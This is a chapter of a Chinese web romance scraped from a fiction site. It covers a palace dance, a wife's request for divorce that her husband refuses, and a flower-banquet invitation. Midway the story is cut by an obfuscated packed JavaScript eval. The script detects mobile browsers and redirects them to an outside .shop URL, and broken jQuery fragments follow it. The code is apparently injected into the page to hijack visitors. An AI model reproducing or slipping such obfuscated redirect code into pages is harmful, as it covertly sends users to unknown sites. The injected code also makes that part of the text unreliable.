文趣网 > 都市小说 > 女配跟着“女主”跑路了 > 13. 第 13 章
    饶芊芊呼吸一滞,如同中了鬼魅邪术般目不转睛地紧盯着眼前人。

    然而,下一刻,女子动作不停,身形向后撤退,脚尖一勾,带起地上纸伞,扇面朝前,似活了般顺着沈妤钟摆动的双肩丝滑落入她手中。

    沈妤钟以伞做媒,定格在用伞扶肩为结尾。

    随着乐曲落下最后一个音调,大殿寂静无声。

    “鱼戏珠,这名字取得好,真是活灵活现。”一曲停罢,龙椅上的皇帝拍手叫好。

    “陛下妙赞,此舞是臣妇母亲所教导,臣妇不过是拾人牙慧,取了巧,论舞姿,比不得魏小姐。”沈妤钟暗戳戳夹带私货,教她不好受,那谁都别想好过。

    魏明浣被夺了风头,见到她视线投来,强装镇定地挤出一抹笑,但是再让她说恭维的话,那可是万万不能了。

    “舞不同,不必相提并论,我瞧着都挺好。”曹贵妃与魏家是表亲,本就是给魏明浣造势,这横空冒出来个沈妤钟,她脸色黑如锅底,却不得不强颜欢笑。

    沈妤钟一舞只比魏明浣好,还得了皇帝嘉奖,料想是曹贵妃也说不出来个难看二字。

    这宫宴在沈妤钟献舞后便落了尾声。

    出宫回府的路上,魏明浣一路低着头不敢与父母亲对视,不见面色,她已知晓自己回去少不得一顿责罚。

    殿上同沈妤钟置气的萧岚与盛嫣儿结伴同行出宫门。

    临走到各府马车前,盛嫣儿拉着萧岚愤愤不平嘟嘟囔囔道:“真是让这沈妤钟走了狗屎运,这侯府主母她当得明白吗,一点都没眼力见儿。”

    继而,她瞥见梁嵩夫妻二人上车的背影,脑海中灵光一现,拉住无奈听她啰嗦的萧岚,“她今日风光了,明日就该遭殃,岚姐姐听我说……”

    盛嫣儿附在萧岚耳边耳语几句,遂高高兴兴地将人送上马车,“岚姐姐放心,明日定然能给明浣出气,”

    萧岚坐上马车,使唤侍女将两侧车帘放下,随即收起脸上淡笑,面沉似冰

    她是真没想到梁嵩还有东山再起的一天,看来父亲也有算盘落空的时候。

    想起今夜出尽风头的沈妤钟,萧岚心底莫名升起浮躁。

    这个沈氏怎么回事,与她调查来的信息完全是两模两样,不该是个眼皮子浅薄不知天高地厚的泼妇。

    难不成是她在扮猪吃老虎?

    马车滚动前行,她的身体随着车摇摇晃晃。

    萧岚感受不到晃动似的抠动手指,脸色变化不定,想起盛嫣儿的信誓旦旦,心又安回肚子里。

    是骡子是马,后日拉出来溜溜就知道,她要耐着性子,才能坐收渔翁之利。

    毕竟梁嵩不是先前众人弃之如敝屐的永昌侯世子,还是得胜归朝的大将军。

    有很多人盯上他在正常不过,她必须稳住。

    被她惦记上的梁嵩,此时正与沈妤钟坐在一辆马车上。

    美人娇颜染却薄红,一只素手捏着帕子轻轻擦拭汗水,身旁坐着的饶芊芊怀中抱着一堆钗环,均是沈妤钟卸下的那些。

    离开宴会前,沈妤钟还特意清点一番,生怕少了丢了她挑选的大金钗。

    饶芊芊低头巴拉怀中东西,眼神儿清澈,又带些迷茫,时不时看看身旁坐着的沈妤钟,好似仍旧神游天外。

    梁嵩轻声咳了一声,打破车内安静气氛,见到沈妤钟一个眼神儿都没看过来,他抿了抿唇道,试图拉回她的关注,“以前怎不知你还会跳舞?”

    沈妤钟停住动作,凝眉望去将人打量一番,眼里挑剔万分,“世子从未问过,且日日宿在赵姨娘院中,何曾将我放在眼中。”

    她今日便是看出,这梁嵩便是天生的贱骨头,给了几分好脸色,真以为自己是玉皇大帝来的。

    见到他人,沈妤钟都是带着几分怒气,“想来我与世子兴许不适合做夫妻,不如签个和离书,放世子去快活。”

    梁嵩面上讪笑还未展开,听清楚她话中提出和离,当即怔愣神情,“和离?”他说话声音陡然拔高。

    “世子怎得还有学舌这种爱好?”沈妤钟没好气地冷笑一声。

    “沈妤钟你知道自己在说些什么吗?我可是刚回京,你便是这样对待我?”梁嵩沉声而言,满目不可置信,看沈妤钟像是见到个脑子进水的傻子。

    沈妤钟阖了阖眼,不想去听他不可理喻的胡搅蛮缠。

    “我梁嵩可是刚打了胜仗的功臣,陛下都对我另眼相看,你却要与我和离,难道不知道外面有多少名门贵女等着我上门提亲!”梁嵩心底一百个不相信,看沈妤钟那不所谓的态度,只觉得荒缪。

    渣男惯用话术,一是不相信自己魅力失效,二是这个世界上居然会有女人不爱自己,三是跪求认错爱别离。

    沈妤钟挑拣起一根金钗,放在嘴边咬了下,看到半颗牙印,心满意足地踹进口袋,对梁嵩的无能咆哮熟视无睹。

    至于饶芊芊,他拧着眉用内力封闭听觉,只嫌这梁嵩真的很烦人,叫得人耳朵生疼。

    “你决计要和离?”梁嵩许久等不到人搭理自己,失落丧气地收住脾气反问。

    “当然。”沈妤钟简便地使用二字真言。

    梁嵩望着眼前娇媚动人的妻子,自己才刚开始试探了解她一点,难道要就此分开。

    他扪心自问自己想不想,这个问题给一天前的自己,或许他会同意,沈妤钟是个无趣,贪财又不合他心意的人,这样的人他看一眼都觉得心烦意乱。

    怎么会想要和这样的人共度余生。

    梁嵩失神地望着沈妤钟低头的侧脸,但自己现在发现这位妻子不一样的优点,竟然有些觉得不甘心。

    可能这无关情爱,只是想到能在御前得到赞扬的沈妤钟是他的妻子,他会有种与有荣焉的满足感。

    所以,此时此刻的他,不想放手。

    “我不同意和离。”

    沈妤钟收回看向窗户外的视线,“为什么?”

    “……”梁嵩答不出来,他知道自己并不爱沈妤钟。

    但就像圈养一只小鸟,一只小猫,没有什么明确意义,只是想这样做而已。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836598|211454||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    他有这个权利。

    沈妤钟似乎看透他沉默背后的含义,竟然笑出声,“好一个不同意。”

    可她确实没办法。

    沈妤钟的笑无奈至极,她最后问出一个问题,“半年期限,你做到别来招惹我,相敬如宾,我考虑不再和离。”

    半年,能够完成很多事情。

    梁嵩痞气一笑,露出个危险表情,了解他的人或许知道,这是他看到猎物时的兴奋表现,“好,半年后见真章。”

    “世子,到府了。”马夫拉停马车叫喊出声,打破车内剑拔弩张的气氛。

    没留给沈妤钟回答时间,梁嵩大步一跨撩开车帘跳下马车,阴沉着脸走入侯府,连饶芊芊都忘记带回。

    留在车内的沈妤钟顿时泄了气,她四肢无力地不顾形象瘫软在车垫上,一身的冷汗直冒。

    不得不说这梁嵩气场太强,与他对峙仿佛身处在厮杀战场,一个松懈便要露怯。

    好在结果是好的,能让他放过自己半年。

    她胸口起起伏伏快速喘息平复,绷紧的神经得到片刻歇息。

    早在沈妤钟决定跳舞的时候,就猜测到和离肯定不成功,但天无绝人之路,她顺势想到不如将计就计,讨来梁嵩承诺,就不算太倒霉。

    半年时间够梁嵩与饶芊芊爱得死去活来几百回,哪儿能记得她是谁。

    想到饶芊芊,沈妤钟忽而提起精神来,“芊芊姑娘没被吓到吧,今天实在太晚,我们先回去吧。”

    饶芊芊先摇摇头,又点点头。

    沈妤钟噗嗤一笑,愣是她冷淡神情中品出她对自己的疑惑在不解来。

    饶芊芊确实很不理解,沈妤钟居然不爱梁嵩,且很是抗拒去接触此人,与他得到的信息背道而驰。

    古怪的紧,可好似又让他心底产生出不讨厌的情绪来。

    饶芊芊是自小从万人堆里厮杀出来的精英,是皇家为皇室培养出的人形兵器,在他们的观念中,他不能有情感,只有为主子死这一种执念。

    他看着沈妤钟拿着一堆钗子咬了个遍,脸上第一次露出迷茫之色,他有些看不懂这个人。

    沈妤钟先将饶芊芊送回听月阁,又自己回到葳蕤院,让绿柳给卸发髻备水沐浴,收拾妥帖后盖上被衾安然如梦。

    翌日,沈妤钟吃过早膳在院子里小憩,昨夜劳累过度,导致她人现在都有些没缓过神来。

    “笃笃,少夫人在院子吗?”院门外一声叫喊,吵得沈妤钟休息不得,她差遣人去回了话,等丫鬟回来手里拿着信件递给她。

    沈妤钟没想到还会有人给她递信,好奇心驱使下拆开信封,这才发觉此物竟然是一份花笺。

    紫色鸢尾别在纸张上,隽秀小楷一笔一划甚是有韵味,沈妤钟第一次收到这般有格调的东西,登时正襟危坐,一字一句看完花笺。

    这是一场赏花宴请帖,邀请各位夫人小姐入园观赏,上面落款一个盛字。

    姓盛的人家,她可不认识,“绿柳,这京城中都有几户姓盛的人家?”